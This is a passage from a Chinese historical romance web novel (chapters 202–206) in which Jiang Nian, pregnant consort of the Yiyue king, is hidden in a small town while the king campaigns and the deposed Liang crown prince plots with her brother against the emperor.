申宫医号了几息,然后不着痕迹地抬眼看了君王一眼,只见其目露希求,这个神情……申宫医心明,忙站起身向上一拜,恭贺道:“梁妃殿下脉象滑利如珠,乃‘滑脉’之兆,此乃天佑之喜。” 呼延吉开心得了不得,言语带着笑意,申宫医见了,心里吁出一口气。 呼延吉给木雅睇了一个眼色,木雅会意,领着申宫医下去了,自有一番别样的交代,殿中只秋月、达娃几个,皆是懂规矩之人。 江念仍是怔怔的,望着呼延吉,问道:“宫医的意思是妾身有了?” 呼延吉见寝中无人,半跪于她的脚边,牵着她微凉的手激动道:“阿姐,咱们有孩儿了。”说着将她抱起,走到床榻边,替她将外衫除了,又散了发辫。 “时候不早了,快歇息罢,你看你现在也是有身子的人了,不能晚睡。”呼延吉催促着,只是这话语里多少有些心虚,又有些想要岔开她的注意。 这个时候江念才缓过神,按着呼延吉的手:“不对呀,妾身一直有吃避子丸,怎么会有孕呢?” 呼延吉将她抱到榻上后自己也除去外衫,侧坐在榻沿,说道:“谁叫你一下屯集那么许多,你看看柜子里堆了多少?定是放久了,受了潮气,药性就退了。” 江念有个习惯,不论什么东西喜欢集得多多的,金锦首饰也好,华衣丽服也罢,只要碰上喜欢的,恨不能把一个样式做出不同的颜色收集起来,这药丸也是如此,一股脑叫宫医开了许多。 生怕不够吃似的。 江念当下信了,欠起身子担忧道:“这孩子来得太突然,该如何是好?” 呼延吉叹了一声,默了半晌不言语:“此事……嗳!”说着偷觑她一眼,见她低下头,双手紧紧地揪着衾被。 江念脑子里闪过白日肖甄挺着孕身静柔的模样,说不艳羡是假的,她也想要一个自己的孩子。 “吉儿,这个孩子我想……” “好。” 不及她说完,对面已是给了回答,他的手覆在她的手背上,她抬起眼,鼻头一酸扑到他怀里,这一刻,幸福、满足充盈着二人的心头。 呼延吉想到什么,把江念推开,从榻上起身。 “怎么了?”江念眨了眨眼问道。 “我再去净一净身子。”说着出了寝屋,穿过露台去了沐室,再回时,换了一身干净的白色绢纱长衫。 两人拥着睡下。 她偎在他的怀里,问道:“太后那里还有朝臣们,只怕叫大王难为。” “朝臣们不消你操心,我自有办法,太后那里……”呼延吉想了想,又道,“你明儿早上去问安,可忍得?” 刚才那会儿他见她精神不济,就没叫她一同往祥云殿,为此,他将几位太妃还有肖妃一并拒在殿外,也算替她遮掩。 但明早总归要去看望一趟,不然说不过去,可她现在对气味很是敏感,怕受不得那屋里的药味。 江念“嗯”了一声:“忍得。” 呼延吉拍了拍她的背:“你放心,我自有计较,不用忍太久。”说着,一手抚上她的小腹处,笑问道:“要不现在给孩儿起个名字?” 江念拍掉他的手,说道:“连男女都不知,起什么名儿……” 这一晚两人絮絮说了好多话,都是对以后的憧憬。 次日,呼延吉去前廷早朝,江念起身后,梳洗毕,在众人的围簇下去了祥云殿。 金掌事见江念来了,忙将她迎进。 “太后可好些?”江念问道。 金掌事叫宫婢看茶,说道:“昨夜没睡好,现下已起身了,好在伤口不深,梁妃殿下先坐坐。” 江念颔首坐下,没一会儿,肖妃也来了,两人厮见毕,归座下。 “妹妹脸色瞧着有些不好,可有请宫医看诊?”肖妃在江念面上看了两眼,关心道。 江念微笑道:“还是这几日闷燥了,叫人提不起神。” 肖妃点头道:“妹妹无事去我的莲花殿,我那殿中清凉。” 江念道过谢,两人又说了几句话,高太后在宫婢们的搀扶下从帷屏内出来,两人忙起身向上伏礼。 “都坐下罢。”高太后说话间往江念脸上睃了一眼,见她除开精神有些倦恹,倒无怨恨之色,放下心来。 这丫头同自己儿子感情深笃,听说君王要恩幸别的女子且诞下子嗣,心里多少会有愁闷之绪,她这个年岁为此烦闷倒也正常,过了这一阵就好,待把孩子抱到她膝下教养,就什么都想通了,日后对她来说也是个椅仗。 高太后见她强撑笑颜,尽显乖顺,心里难免生起怜惜。 相互间说了些闲话,问询伤情,这时金掌事从宫婢手里接过一碗汤药,立时一股钻心入肺的草药味弥漫开来,光闻着那气味都是苦阴阴的。 江念嘴里生出津涎,喉咙不停地咽着,胃里开始翻腾,忙从案几上端起茶盏拿到嘴边,啜了一口,滚了滚喉。 江念这边忍得辛苦,高太后那边却念她乖顺,想着多留她一会儿。 就在她快要忍耐不住时,有宫人进来叩拜,不是别人,正是呼延吉身边的丑奴,听他说道,君王宣召梁妃去前廷,有事相询。 高氏听过,对江念说:“君王召你定有要事,你去罢。” 江念这才起身,走到正中拜了拜,行了退礼,又同肖妃别过,方才退下。出了祥云殿,一手捉裙,一手捺着胸口,喘了几息,在秋月的搀扶下坐上步辇,出了祥云殿的殿院。 “大王呢?”江念问道。 随在一侧的丑奴恭声道:“大王还在议政殿,叫奴才来请殿下先回西殿。” 江念便知呼延吉特意支人来将她叫走。 一行人回了西殿,秋月见江念早饭只吃了一点,问道:“主子,你这样不吃终不是办法,婢子叫膳房做些清淡的来,尝一尝?” 江念并没胃口,但也知这样干饿着不行,不进食的话,精神只会越来越弱,遂点头道:“上次伴的酸野笋还不错,拿一碟子上来。” 秋月见江念愿意进食,欢喜道:“那婢子让膳房再上些鲜汤细面,切些新鲜的果儿?” “嗯,去罢。” 待江念更衣毕,膳房已将菜馔上好,于是就着酸笋吃了小半碗鲜汤面,再吃不下了,吃过后就坐在殿中发怔。 呼延吉回来时,叫了她两声她才反应过来。 “今日感觉怎么样?”呼延吉嘴里虽这样问,可见她那面色就知很不好。 他有问过宫医,说是人的体质迥别,有些妇人怀有身孕后能吃能喝,有些人会出现呕吐之症,反应不尽相同,就连脾性亦会生变。 江念摇了摇头:“无事。” 呼延吉见她这样,暗忖道,如今她是孕身,看这情状叫他不能放心,他准备赶赴一趟西境,只因他得到信报,李恒开始攻取大梁东境。 因着江轲,他还不想同李恒过早对上,遂打算从梁西境驱进梁土,他拢集兵权后,也一直在筹划此事。 梁室是一块肥肉,端看他和李恒谁分咬得多,但他同李恒不一样,李恒作为前太子师出有名,而他是侵入者。 一旦开战,不知何时能平息干戈,待他扫平阻障,一统四海,又要等到何时?他是无所谓,年岁还轻,可江念不行,她耗不起。 他不放心把她独留于王庭,有孕的消息一旦传出,那些暗处之人不知会使出什么手段,呼延吉不敢往下想,他又不能守在她身边,马上就要赶赴边境,没有多的时间可耽误。 江念见呼延吉眉头锁着,显现一丝疲惫之态,轻轻地抚上他的脸,问道:“怎么了?” 呼延吉在她手心蹭了蹭,当下做了一个决定,说道:“阿姐,过几日我就要去往边境,有一事需同你商量。” 江念心里一颤,不待他说完,想也不想地说道:“我随你一起去……” 第203章 阿姐变了,太子也变了 从前呼延吉无论去哪里都把江念带在身边,但这次不行。 “西境统帅原是朵尔罕的部下,如今换了新将,任期不过一年,我有些不放心,此次需亲往督战。”呼延吉挥手叫殿内的宫人退出。 待殿中只他二人时,呼延吉再次开口:“阿姐,为了我们的孩子,我需亲身去一趟,你可知我的用意?” 江念眸光一闪,低下头,他的意思她明白,他从前隐晦提过,叫她不必忧虑,他会让他们的孩子不受世人冷眼,成为这王庭的主人。 她是梁人,他和她的骨血相融,诞下的孩子不论在夷越或是大梁都是不受人待见的,即使这孩子有着尊贵的身份,世人面前不说,却抵不住背后轻辱。 而呼延吉说他已有计较,定不叫他们的后嗣受屈,那就只有一个办法,攻城略地,天下一统。 对江念来说,既担忧呼延吉,也忧虑江轲,江轲投了李恒,李恒想要夺回皇权,他们双方势必会对上。 呼延吉自然看出她的担忧,宽慰道:“你别担心,别担心……” 他说不出别的话,黄沙金甲,马革裹尸,这才是真正的战场厮杀,而那些人情味的话语说出来显得不真,他不能说,待我见到江轲,放他一马,化干戈为玉帛。 不说他了,就是江轲亦不会手下留情。 所以他只能把这虚空的话轻轻地说出来,叫她安心。 江念心里也明白,实是两难,转开话问道:“大王适才说有一事同妾身讲,是何事?” “把你留在王庭终不放心,我会找个由头送你出京都,正巧太后昨夜跌了一跤,就说你给她老人家祈福去庙里小住数月。”说着又道,“放心,不会太久,待你生产前,我定会赶回来。” 若她有孕的消息流出,他不在她的身边,太后在得知她有身孕后,虽不至于害她,却也不会全力护她。 如此一来,她就身处漩涡中心,届时,王庭的高墙不仅起不到保护她的作用,反而将她圈住,成了暗箭们的活靶子。 所以他情愿把她有孕一事暂且隐瞒,待他归来,但……不知怎的,这次离庭亲征有些心神不宁,这是从来不曾有过的。 就这么,江念被呼延吉送出王庭,对外称在庙里静修数月给圣太后祈福,是以,也无人在意。 …… 彼边,大梁东境…… 一威重深阔的府邸内,屋柱上架着烛台,残烛燃着微暗的光晕,再配上沉色的案几和地砖,显得这府邸内的空气都是沉甸甸的。 而在紫檀木的长案后伏着一人,那人穿着一袭宝蓝色云雷纹圆领广袖袍,领间簇着灰鼠毛,夜光从窗隙透了进来,点点洒在地上,点点洒在他身上,溶溶宝月光辉下,袍子上的银色云雷纹映动隐现。 案几上点了一盏高烛,很好地将男人的面目照清。 伏案人不上三十,有着一张英朗的面容,只是锦衣下的肩背显得略微削薄,可同这年轻面目相逆的是,男人的双鬓夹杂着银白发丝,恰似寒夜里的草上霜。 “主人,夜深了,进屋歇息罢。”一边的贴身小厮宝昌说道。 男人伸出手搓了搓指尖,拢了拢肩头的大氅:“倒一杯热茶来。”说罢继续看着手里的书册。 宝昌应下,重新挑燃暖炉,把凉下来的茶壶钩挂上,待煮沸后,提来砂壶,把杯烫了,又沏了一盏。 这厅堂寒凉,尤其是秋夜里,下了露水,更是叫人耐不住,说出来的话都带着白烟。 他主子从前那样养尊处优、意气风发的金贵人,如今鬓发愁白,形容消瘦,正想着,厅外的黑夜里响起匆匆而来的脚步声,不一会儿就近到跟前。 一个轻甲卫进到厅堂中,单膝跪下,双手抱拳道:“报太子,府外有人来访,那人自称姓江。” 李恒放下手里的书册,喃喃道:“姓江?男子还是女子?” 轻甲卫一怔,心道,只能是男子,怎会是女子呢,恭声道:“是一名年轻男子,二十出头的模样,他自称京都江家人。” 李恒腾地站起,急声道:“快把人请进来。” 护卫应诺去了。 李恒一双眼紧紧盯着厅门,黑魆魆的,幽暗处是院子里不可名状的花枝树影,脚步声再次远远响起,慢慢行来。 当江轲出现烛光下时,一个叩拜下去:“江家江轲,拜见太子殿下。” 自打江轲同呼延吉等人别过后,按说早该抵梁境,谁知他在途中染了一场病,不得不打断行程,待病愈后再次起程,再加上从徽城往大梁东境之路艰阻,并不好行,耽误了不少光景,直到现在才抵达。 李恒忙从案几后走出,趋身下阶,扶他起来:“快快起来。” 待江轲起身,李恒叫下人设案,摆上酒菜,同他款叙。 “今日且先将就,明日我再替你好好接风。”说着又吩咐下人清理一间屋室出来。 临近大梁东境江轲马不停蹄,一刻不愿停歇,人困马乏之下终叫他探寻到太子府邸。 江轲衣着轻薄,又沾了夜露,身上带着寒气,几杯热酒下肚,四肢百骸这才有了暖意。 李恒见到他,心情格外好,言语都轻快了,自打他们逃离京都后,这还是宝昌头一回在太子脸上瞧出欣喜的神态。 江轲见坐他对面的太子,不过三年,险些叫他认不出来,男子鬓角掺白的发丝,还有那双沉郁的眼,这还是从前的太子阿兄么? 那个时候,他成日跟在太子的屁股后面,太子明明是那样一个风姿清朗之人,怎么……好像所有人都变了。 阿姐变了,太子也变了。 “你阿姐她……”李恒终是问出了口,腔子里透出盼待,“你有没有寻到她?” 江轲见太子仿若随口一问,可搁于桌案上的手却微微蜷紧,等着他的回答。 “找到她了。”江轲说道。 李恒身子往前倾了倾,声音有些发紧:“她有没有同你一道来,还是住在哪家客栈内?怎的不把她接来,叫她住外面。” 江家被抄家时,他幽囚于前太子府,那个时候,所有的消息传不出去,外界的消息亦递不进来,处于闭塞中。 待他得知江家被抄,江念被发往军营时,一切都来不及了。 江轲原打算把他阿姐带在身边,在他心里,阿姐同太子殿下本就是一对,二人又有婚约,所以他才那样怨呼延吉,横插一脚,在他看来,就是他使手段强占了阿姐,让阿姐不得不曲从于他。 但眼下既成事实,他也无法,于是回道:“阿姐她没同我一道。” 李恒问得小心,想问得更细,却又不敢往下问去。 “她如今好不好?” 江轲想了想,直言道:“阿姐她在夷越。” “夷越?”李恒惊疑道:“为何会在夷越?” 他想过很多种可能,最坏的情况,她已不在人世,再好一些的情状,坎坷之后她隐姓埋名,嫁于平凡百姓之家,可是……她怎么会在夷越? 提起夷越,他脑子里闪过一个漂亮的异族男孩儿,琥珀色剔透的眼,淡淡的眼睫,优越的五官,夷越质子,呼延吉。 不及李恒多想,江轲接着说道:“阿姐现在是夷越王妃。” 李恒手里的酒盏“砰——”地掉到案上,里面的酒水泼洒出。如今夷越王是呼延吉,刚才江轲却说江念是夷越王妃? 他在旧部的协助下从京都一路出奔东境,不曾关注夷越之情状,更何况此等内帷之事。 是了,他记得当初同江念已有婚约的情况下,夷越质子呼延吉入宫请旨赐婚,把江念嫁予他,那个时候的呼延吉不过十四五岁的少年。 当时所有人将此事传为笑谈,讥讽夷越小质子不知天高地厚,竟妄图同太子殿下抢娶江家女郎。 江轲看了看对面的太子,把呼延吉救他阿姐一节道了出来。 李恒点了点头,笑了一声:“想不到最后还是叫他如愿以偿了,也好,我还担心念儿遭罪,她那么娇贵的人儿……也好……” 说罢扶起酒盏,自己给自己倒了一杯酒,仰头闷下。 江轲见太子这样,心里也不是滋味,太子阿兄本该登极帝位,迎娶自己心爱的女人,一夜之间天地倾覆,身份丢了,未婚妻子也嫁作他人。 “他待她好不好?”李恒问道。 江轲点头道:“倒是很好,阿吉待阿姐出自真心。” 李恒不知自己想问什么,亦不知自己想要一个什么样的答案。 江轲不愿见太子颓丧,高声道:“太子阿兄,轲儿此次前来助你夺得本该属于你的尊位和荣耀。” 李恒看向对面的江轲,目若晨星破晓,身上是向上勃发的劲势和锐气。 “好!轲儿前来相助我,必将拿回失去的一切!” 两人喝至半酣,方才散了,此时已至三更天。 江轲疲累了一路,回到房里沐过身后倒头便睡。 凉月西沉,偌大的府邸静得只有秋虫乱鸣,而李恒屋室纱窗上的烛光,却亮了一整夜…… 第204章 接生 李恒手下俱是誓死跟随他的旧部,这些旧部又皆是骁勇忠心之辈,不是梁帝跟前那些谄媚之人可比的。 在江轲来之前,他已率众攻占了大梁东境部分城镇,曾经令周边九夷八蛮朝奉的上国,在内忧外患之下已然摇坠。 …… 梁国朝廷…… 堂下百官侍立,阔大的殿宇安静得针落可闻,文武百官个个屏声敛气,甚至有的官员的身体在朝服下微微颤抖。 金座之上端坐一人,那人年纪不大,二十来岁模样,高鼻,唇形有些圆钝,乍一看,老实,可他的一双眼却射出刻薄的锐气,叫人看了不安。 这人便是梁帝,李旭,亦是从前的三皇子。 只见他稍稍清了清嗓,立于堂下的朝臣们心里一紧,连同周边的空气亦是紧皱。 接着,梁帝空冷的声音往下压来。 “王大人,东有叛贼李恒,西有外寇呼延吉,你说说看该当如何?” 那名王姓大人,见皇帝叫自己,浑身一颤,一时间竟忘记出列。 也就是这错漏的一瞬,皇帝大喝一声:“藐视朝堂,来人,拖下去,斩了。” 话音落,殿外进来军卫,将那位王姓大人拖了下去,在被拖下去时,那位王大人吭都不敢吭一声,只因曾有官员被斩前讨饶,结果直接祸及满门,打那之后再无人敢鸣冤叫屈。 “赵大人,你可有妙策?”皇帝继续发问。 他每抛出一个问题,就像一把锋利的大铡刀,不知会有多少官员死于刀下。 那赵大人出列后,道不出一个字,最后不知是受惊过度还是怎的,直接瘫坐在地。 李旭眼皮往下一压,抬起手,懒懒地往外摆了摆,军卫再次入到殿中,又一位朝臣被拖了出去。 朝臣们一动不敢动,哪怕这个时候的梁国已入深秋,众人背后的朝服却湿汗一片,额上滚落的汗珠流到眼角,不敢拭去,生怕一个细小的动作叫上首之人注意到自己。 此时,听得一个细亮的声音说道:“禀陛下,臣有一策。” 众人侧目,心里跟着一松,松怔后随之而来的是讥嘲。 这人姓孙,叫孙源,先是在别人府上做门客,后被地方官员举荐,得以入仕,一步一步走入朝堂。 展眼看去,无论是梁国还是周边他国,皆有“上品无寒门,下品无士族”一说。 篷户子弟无权贵举荐,仅凭真才实学想要入仕几无可能,偏这个孙源是个例外,用一句话形容这人,正是山间竹笋,嘴尖皮厚腹中空。 此人家中并不粗富,却生得一张惯会溜须拍马的嘴,在皇帝面前谄媚奉承之能事,偏皇帝吃他这一套,恁是叫他在庙堂之上有了一席之地。 所谓,马屁精坐轿子——抬的人也是糊涂虫,这孙源发迹后反过来把当初荐举他的那个地方官员给一纸弹劾了,使其丢了官位。 “孙大人有何妙策,说来。”李旭说道。 孙源双手环胸,躬身道:“东、西两境势危,不如将其中一方暂先化敌为友,李恒虽说叛了朝廷,可说到底仍是我梁人,只需遣一人前去游说,使他同朝廷共同对付夷越,待将夷越军击退后,再想办法对付李恒,便可逐一击破。” 李旭一听,面上阴沉顿散,觉着此计甚好,转而又道:“只是此等重任,哪位爱卿愿前往?” 碰上这么个杀人不眨眼的君王,谁人敢领命?就在众人踌躇不语之时,孙源向上自荐,愿去大梁东境,游说李恒共同对付夷越。 李旭听罢,帝心甚悦,当下允了。 而堂下朝臣们暗忖,孙源急于邀功请赏,却不知其中利害,这一去,只怕有去无回。 …… 呼延吉着人把江念送出王庭,留在京都肯定不行,容易被认出,去远了她的身子又吃不消,最后安置在了离京都三日车程的荣水湾。 这荣水湾乃一方小城,因周围湖泊众多,便取了一个湾字,是个风景秀丽的小城。 “方嫂子,你今儿穿得这样新,准备去哪儿?”一个妇人端着面盆从屋里出来,正巧撞见隔壁的方姓妇人,笑问道。 那方姓妇人说道:“南市那边有个大户人家请我去,我不得好好收拾一下。” 那人又道:“南市?那里可偏,什么样的人家,给得起银子么?” 方姓妇人撂了一句:“不给银子我怎会去,南市虽偏,却也搬来一富户,人家就图南市的清静哩!” 原来这方姓妇人是荣水湾有名的接生婆,一般都是荣水湾的富户才请得动她,小门小户的人家,她是不踏足的。 “对了,接下来几个月,只怕我都不在家,劳你帮忙照看些,待我回来再谢你。”方姓妇人说道。 “哟,当真是大户人家请你呢,一去就几个月?这可不是你的行事。” 方姓妇人笑而不答,搭了一辆驴板车,去了南市。 荣水湾的富户一般不居南市,并非南市腌臜不堪,相反那里很是静幽,只因其后围并不通路,而是一片山脉,镇上的人更向往北面,那里离城口近,一出城,绕过山道,便可踏上进京的官道。 对夷越老百民来说,谁不向往京都?是以,南市那一爿并不热闹,大多数人还是更喜欢热闹的北市和东市。 方嫂子下了驴板车,走到一府宅前,大门前坐着两个门子,于是上前表明来意,门子得知后,叫她稍候,往里通传。 过了一会儿,门子从侧门出来:“嫂子随我进去。” 方嫂随门子往宅内走去,一路上不停地拿眼觑着周边,越看越心惊,这户人家从外看并不起眼,内里却大有乾坤。 她说不出好词句,就觉着这些个山石树木看着就贵,府里的下人倒是不多,行止间却有规有矩。 那日她在家中正哀叹不绝,只因她汉子拿银出去跑货,遇着匪贼,把财货都叫那起子贼人给抢了。 像他们这样的小户人家,积些钱财不易,经不起波折,半辈子的积蓄一下没了,觉着生活没了盼头。 以前她接生还挑人家,非富户不去,那些小门小户的给不起赏钱,她懒得跑,如今呢,只要有人唤她,她跑不迭。 那日家中来了一长挑身的女子,叫她去府上给她主子接生,又说要在府中住几个月,直到她主子临盆,当下心头一喜,这可是大生意,遂满口应下。 方嫂进了后院院门,一位更为年长的妇人接引她,带她往内走去。 “我带你去见一见主家,你拜一拜,施个礼。”老妇人说道。 方嫂忙应下声儿。 两人刚走进一方更大的院子,就见阶下立着一男子,男人身高体壮,很有威势,叫人不敢接近,随着她走入院中,男人的一双厉眼直直盯在她的身上,可她却知此人不是家主。 正想着,屋里走出一人,正是那日上门寻她的女子。 “方嫂来了?进来罢。” 方嫂忙碎步上阶,随其进了屋室。 “嫂子略坐一坐。”女子说着叫人看茶。 方嫂起身谢过:“劳秋月姑娘招待,当不得,不必上茶。” 秋月微笑道:“不必客气,前些时儿我叫人请过你,谁知您贵人事大,请不动,没法子,只能我亲自上门请了,好不容易把你请了来,还不得好好招待。” 方嫂听说,倒是想起来了,一个月前曾有一小厮寻到她家中,那个时候她家中还未出事,心气高,听说是南市的人家,当下就给拒了。 秋月又叫人上了茶点,转身进了里间。 不一会儿,听得裙裾窸窣声伴着环佩叮咚声,走出来一人。 方嫂抬眼一看,怔了怔,只见来人肌肤丰泽,一头乌发松散绾着,鬓间垂下几绺,腮上两片红晕,想是才午睡起身。 女子腹部微隆,走来时,一只柔白的素手下意识地护住那肚儿,这怀孕女子竟是梁人? 荣水湾虽说跟京都不远,却因山障显得有些闭塞,不过方嫂家汉子是走货的,听他说过,近一年来夷越境内出现了许多梁人。 有些是从大梁跑来贩货的,再有一些就是夷越收拢的梁国城池,如今也算夷越之境,那些长着异族面目的梁人准确说来也是夷越子民。 所以偶尔在街上见着梁人面目之人,私以为是梁人,其实不尽然。 只是不知这美妇人算是哪种,但有一点她能肯定,这美妇人虽为梁人,嫁的定是夷越男子。 若是一对梁人夫妇,奴仆们势必以梁人为主,而她一路行来,观得宅院从上到下除了这位女主人俱是夷越人。 像她们这种进出各大宅门的妇人、婆子们,眼睛最厉害,只消一眼,便心明肚明,想这美妇人定是夷越哪家权贵私养的外室,因着梁人的身份不敢往家中领。 一个转瞬,这接生妇人脑中已滚过许多思绪。 “见过夫人。”方嫂屈身行礼。 “嫂子坐。”江念在丫鬟的搀扶中缓缓坐下。 方嫂告了座,看了一眼女人的肚子,笑道:“夫人这肚子应该有五月了罢?” 江念微笑道:“不上五月,四个月。” “哟!只四月?”方嫂讶了一声。 江念点头道:“正是,只四月,可是有何不妥?” 呼延吉着人将她送到这里,特意把阿多图留在她的身边,又遣派了一名宫医,这宫医也不是别人,正是那日为她把脉的申宫医,另又配了几名掌药膳的宫婢和膳厨。 秋月同珠珠自是伴在她的身边,至于府里的其他仆从俱是后来新置的。 她到这里养胎本是隐秘之事,平时行事也低调得很,能不出宅子就不出宅子,就是出去也是坐着车驾。 头先,她吃什么吐什么,再美味的食物放在她面前也是全无胃口,连味道也不敢闻,从前喜欢的吃食也不爱了,偶尔能吃些酸物。 再加上呼延吉不在身边,去了大梁西境,使她心神惴惴不宁…… 第205章 他一定会回来 那个时候,灶屋的膳厨每日想着方地做可口的菜馔,她也只能吃一点,还是压着胃气,稍食多一点就难受。 平时走远一点,头目发晕,有一次在屋中实在憋着慌,想去院中走一走,结果没走到一盏茶的工夫,眼前就暗了下来,丫鬟们搀着她坐在椅儿上歇息,秋月又往她嘴里喂甜枣,过了半晌才缓过来。 说来也奇,不知哪一日开始的,突然就能吃了,食量骤增,一旦可进食,人也不发晕,精神也好了。 只是每日人懒懒的,这会儿才睡起,听秋月说接生的婆子来,便叫人请她进屋。 长久闭在这宅中,也是生闲,来了一年长的市井妇人,自然想同她多说些话打发打发时间。虽说宅中住着一位申宫医,可到底是男子,太过私秘的话也问不出口。 面对这接生妇人就没那么些顾忌。 见她惊异地看着自己的肚子,便紧张起来。 只见那方嫂说道:“夫人这肚子过大哩!看着像五个月的。” “想是近些时吃得多了。”江念说道,自从能吃后腰身圆了不少。 “那可得注意些。” 秋月在一边问道:“吃多了不好?从前夫人不能吃,这会儿子能吃能喝,叫我们可欢心,怎的嫂子叫注意些。” 秋月这方面也不通晓,许多时候都是申宫医交代事宜,她再记下。 方嫂摇了摇头说道:“你看看,得亏叫我来了,你们这些年轻阿姑不知,胎儿过大,待临盆时女人要吃大苦头哩!” 秋月点了点头,又道:“饮食上一向注意,不过幸有嫂子提醒,日后再注意些。” 那方嫂平时就是个嘴巴伶俐的,这会儿子来了,见府中气派不同别家,巴不得多说一些,显得自己大有用处。 “听秋月姑娘的话,平时饮食已多有注意,那便是这孩儿父亲是个体格大的,托在夫人这小体格的娇身上,也是有的,只是这样的话就更麻烦。”方嫂说道。 一句话说得江念羞涩之余,心里又是一怔,追问道:“怎么说,怎么就更麻烦?” 只听那妇人道来:“夫人想呐,这饮食还可增减,若是这胎体本就过大,哪能控制得了,吃少了罢,子息弱,吃多了罢,夫人遭罪。” 江念忧心道:“嫂子说得是,这可如何是好?” 方嫂拿起茶盏啜了一口,又指了指自己:“所以妇人我这不就来了嘛,有我方氏在,夫人定能平安产子,不叫夫人吃大苦头。” 都说一孕傻三年,这会的江念全副心神都在腹中孩儿上,被妇人一逗就乐了。 平时下人们可不敢同她这样戏笑,今日来了个油嘴的接生妇人,不失为枯燥生活的一点趣味。 自那方嫂来后,时常到江念屋里同她闲话。 这方嫂是个精明人,来了一个月,从未见过男主人,心里越发肯定先前的想法,美妇人定是夷越某位权贵养的外室。 只是这么长的时间,那男人怎的一次不来,倒是有些奇怪,院中时常见着一个高大的护卫官,还有一个大夫。 这日,江念叫来阿多图,问他:“可有边境来信?” 阿多图回道:“未曾收到。”说罢见江念脸上希冀的光慢慢暗下去,又道,“兴许书信已在路上也未可知。” 江念觉着有些道理,路途甚远,边境送往书信需要时日,于是点了点头,叫阿多图退下,起身走回内室,抚上明显隆起的小腹,心中念着,不知他现在好不好。 呼延吉曾说待她临盆前会赶回,如今肚子已有五个月,照申宫医所说,还有四个月左右就会生。 转念一想,指不定人已在回来的路上,这才一直不寄书信来,想到这里,心里一下就明朗了许多,再有几个月就能见到他,距他们相见的时日正在一日一日地减少。 会回来的,他一定会赶回来的。 …… 彼边,孙源作为说客已抵达东境。 李恒将他们一行人安置到了驿馆,当晚又在府上设了筵宴招待,华厅之上灯火煌煌,歌舞吹弹。 丽婢们在案几间穿梭递酒上菜。 孙源一行人居李恒左手一溜排,其右手一溜排坐着东境众将,这当中包括了江轲。 孙源一眼就看见了江轲,心中骇然,怔愣了半晌回不了神。 当初三皇子登极帝位后抄了江家,震惊朝堂四野,连民间百姓亦是不敢相信,不说别人,就是孙源作为皇帝近臣,至今亦是不明因由。 皇帝看起来憨钝老实,实则乖僻阴沉,在他登帝后才慢慢暴露出本性,前太子李恒党羽众多,不止江家一个,为何独独清算江家,没人能说得清楚。 想不到在这里碰到江家子,江轲,他竟然还活着! 孙源掩下心绪,执着酒盏,站起身,敬向上首的李恒。 “今日有劳恒王招待,孙某远赴而来,只为一样事,恒王同陛下同为大梁人,又是血脉至亲,恳请恒王摒弃前嫌,暂息干戈,共护我大梁境土,再怎么说,陛下同恒王乃至亲兄弟,多大的仇怨也是家事,等击退外敌,陛下定会重赏恒王,享那一人之下万人之上的尊荣,连同在座的众位将军亦有重赏。” 一语毕,堂中原本热闹的响动骤然安静下来,居李恒右手的众将个个脸上玩味,而居于左手边的京都来使们却默然不语。 孙源双手仍僵举着,心里打起鼓。 上首的烛光格外亮,居于这光影中的李恒面目始终带着萧萧的柔色,叫人看不出他心里的真实想法,而他的那张脸一点也不叫人怕,同帝位上的李旭正好相反。 只见他一声笑,说道:“孙大人说的有理,同为大梁子民,外敌当前,该同仇敌忾一致对外方是正道。” 李恒一语毕,堂间的东境众将们纷纷应和。 孙源听罢,吁出一口气,把杯中酒仰头喝了。 李恒亦端起酒盏,轻抿了一口,略略湿了唇,然后嘴角带笑地把酒盏搁下。 孙源得了李恒的话,心里有了底,认定此趟定能完成差事,回京都后,加官晋爵不在话下,皇帝会更加看重他,他将挤进权臣之列。 想及此,喜滋滋地坐下,一道而来的其他人亦是神情松闲下来,饮酒观舞,有了恒王刚才那话,此次任务已完成了八成,只待明日商议具体事宜。 当夜,众人酒到杯干,厅上一片花攒锦簇,饮至三更方散,侍从们备了马车,提灯送京都来使回了驿馆。 待人走后,此时厅上只有东境众将,这些人面上哪还有刚才的喜闹之色,个个面目冷肃。 “李旭倒是打得好算盘,应对不了呼延吉,便想拉拢我们。”其中一名将领说道。 这时另一将领插话道:“他们会来事,先以家国晓理,再以至亲说情,还有不知所谓地赏赐。” 此言一出,其他人愤慨得恨不得提刀把那些人就地斩杀,但太子没发话,他们不敢贸然行事。 李恒往堂下扫了一眼,看向其中一人,问道:“江将军以为该当如何?” 江轲起身,向上抱拳,说道:“孙源来此的目的是让我等同他们联合对抗呼延吉。” “是。”李恒点头。 “臣以为当应下孙源之请。”江轲说道。 一语毕,其他将领腾地站起,指骂道:“早就看出来你这小儿不怀好意,难不成叫我主臣服于那昏聩之君?” 江轲看向众人,倏忽一笑:“孙源说击退呼延吉后,殿下回京都可享一人之下万人之上的荣耀。”说到这里,又是一声冷嗤,“一人之下?谁之下?” “自然是昏君李旭之下。”其中一人说道。 江轲声音陡然变沉:“若愿屈于那人之下,我们这些人还在这里做什么?!太子殿下才是真正的大梁之主,是万万人之上的英主,只能立于天阙之下,无人可居其上。” 众将相互对看一眼,熄了气焰。 李恒眉眼始终轻淡,听他启口道:“众位将军不必争恼,先听一听江将军如何说。”说着看向江轲,“将军如何作想,直管道来。” 江轲再次向上拱手,肃声道:“臣说应下孙源之请,实是先派兵赴西境,同朝廷兵马前后相应,夹击夷越军兵,然,真到那时,我们不必要出手,只需坐山观虎斗,待他双方损兵折将,我等趁势一举攻入,届时西境唾手可得。” 众人听罢,睛眸一亮,妙计! 李恒笑道:“不愧是江家子弟,不愧为老师的儿孙。” 既已说定,众人又秉烛彻谈许久,直到天色微明方散去。 孙源等一行人因昨夜醉饮,次日起来晚了,待出驿馆之时已是日上三竿,路上忖度昨日李恒的态度,料想今日商谈应是不难,遂带了两名书吏去了恒王府宅,再做一番细谈,之后他好去信京都,先报喜讯。 到了恒王府邸,有关联合出兵击打夷越军的事宜协商得很顺利。 以朝廷兵马为主力,恒王军兵斜杀而出,将夷越军兵围堵,叫呼延吉命丧梁西…… 第206章 香睡的人影 大梁西境…… 西境宣州地界的十三城俱已被夷越攻下。 呼延吉在营中同军兵同吃同住,一连几月皆是如此,如今拿下宣州十三城,照此一来,他同她的孩儿便有更多的凭仗,他要把天下一统,谁还敢说什么,没有所谓的杂种,只有融合。 心里想着,抬手揉了揉额角,从案后站起,阔张手臂,活动了一下肩背,再一抬臂,嗅到身上的腥土气,皱了皱眉,心情甚好地莞尔一笑。 这时帐中进来一人,身形不似普通夷越武将的魁伟,清朗儒雅中带着一丝英悍。 昆善一进入帐中就见君王自顾在那里发笑,显然想着什么好事。 